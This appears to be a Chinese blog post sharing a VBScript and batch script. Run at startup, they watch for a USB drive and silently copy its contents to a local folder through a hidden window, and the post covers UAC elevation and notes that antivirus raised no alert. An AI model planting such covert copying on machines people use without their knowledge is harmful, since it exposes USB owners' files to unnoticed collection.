该脚本测试环境在win8.1(好像我下面都写的win8,不用在意这些细节)和win7(bat请求管理员权限)下测试通过。理论上关UAC就可以用了。
有人问XP能不能用。。XP是没有UAC的,当然能用。。另外整个测试过程中大数字都开着,并没有任何异常提示。
哦对了,大数字就是360。
至于UAC是什么鬼。。就是vista中引进的那套极其蛋疼的机制——用管理员身份运行。
为了一个奇怪的需求写的,针对的是需求中那台特定的电脑,所以有的地方我就用了一些奇怪的方法。如果要写个通用的出来要考虑很多东西,心塞塞。
先说说这个奇怪的需求。一台可以使用的win7电脑,将自动复制U盘功能添加到开机启动中。要求复制内容时已经复制过的不复制,复制那些源时间比目标时间新的文件。
按理说bat就能解决这事,但是我印象里用vbs写过的,就去抄来一段vbs并且修改了一下。原vbs中复制文件和文件夹是这么干的:
fso.copyfile file,folder fso.copyfolder file,folder 'file,folder为参数
但是这在win8下并不好使,可能是权限问题,于是我就将这个功能用bat代替了。vbs下调用bat的代码为:
set ws=createobject("wscript.shell") ws.run "cmd /c "&fpath&"fuck.bat",vbhide
fpath为相对路径,应该这么得到它:
Dim fpath fpath=WScript.ScriptFullName fpath=Left(fpath,InStrRev(fpath,"\"))
bat中这么写可以替换vbs中复制的两句:
xcopy G:\ E:\USB_back /e /y /d /x
‘参数中包含“复制那些源时间比目标时间新的文件”的要求。
但是win8下测试时发现并不好使,于是给bat加上了一段请求管理员权限,放在@echo off后面
cd /d %~dp0 >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" if '%errorlevel%' NEQ '0' ( echo 正在请求临时管理员权限... goto UACPrompt ) else ( goto getAdmin ) :UACPrompt (echo Set UAC = CreateObject("Shell.Application"^) echo UAC.ShellExecute "cmd.exe", "/c %~s0", "", "runas", 1)> "%temp%\getadmin.vbs" "%temp%\getadmin.vbs" exit /B :getAdmin if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" ) pushd "%CD%" CD /D "%~dp0" :Start rem start后面放xcopy那行代码
顺利测试通过。鉴于那台电脑是可以碰到的,我就建议把UAC关了。。。然后不就完事了么!!
参考教程:
贴上fuck-u-disk.vbs的代码:这段代码我删删改改的,写的不是很整齐哈
Dim ws,fpath set fso=createobject("scripting.filesystemobject") set ws=createobject("wscript.shell") Set shell=Wscript.createobject("wscript.shell") dim USB, file, folder, files '获得vbs路径 fpath=WScript.ScriptFullName fpath=Left(fpath,InStrRev(fpath,"\")) USB="G:\" '请修改成正确的U盘盘符,并在fuck.bat下修改为同样的盘符 folder="E:\USB_back\" '请修改成需要复制到的文件夹,******注意以\结尾****** if FSO.FolderExists(folder) then else FSO.CreateFolder(folder) end if on error resume next do wscript.sleep 1000 if fso.driveexists(USB) then ws.run "cmd /c "&fpath&"fuck.bat",vbhide wscript.sleep 20000 end if loop
还有fuck.bat:
@echo off xcopy G:\ E:\USB_back /e /y /d /x rem G:\是U盘盘符,E:\USB_back是要复制到的文件夹,自己改去
最后贴上一些注意点:
在自己电脑上测试完之后请去任务管理器里面找找有没有这些程序,有就给关了,不然它就一直呆你内存里逗你玩:
(win8请在任务管理器里点详细信息,不然你啥都看不到)
win8下:
microsoft windows based script host
控制台窗口主进程
win7/xp下:
cmd.exe
VBScript.exe
这个程序里是21秒扫描一次U盘的。
fuck-u-disk.vbs中有这么一行:
wscript.sleep 20000
20000的单位是ms,要改时间的话就该找个数字,自己控制下就好。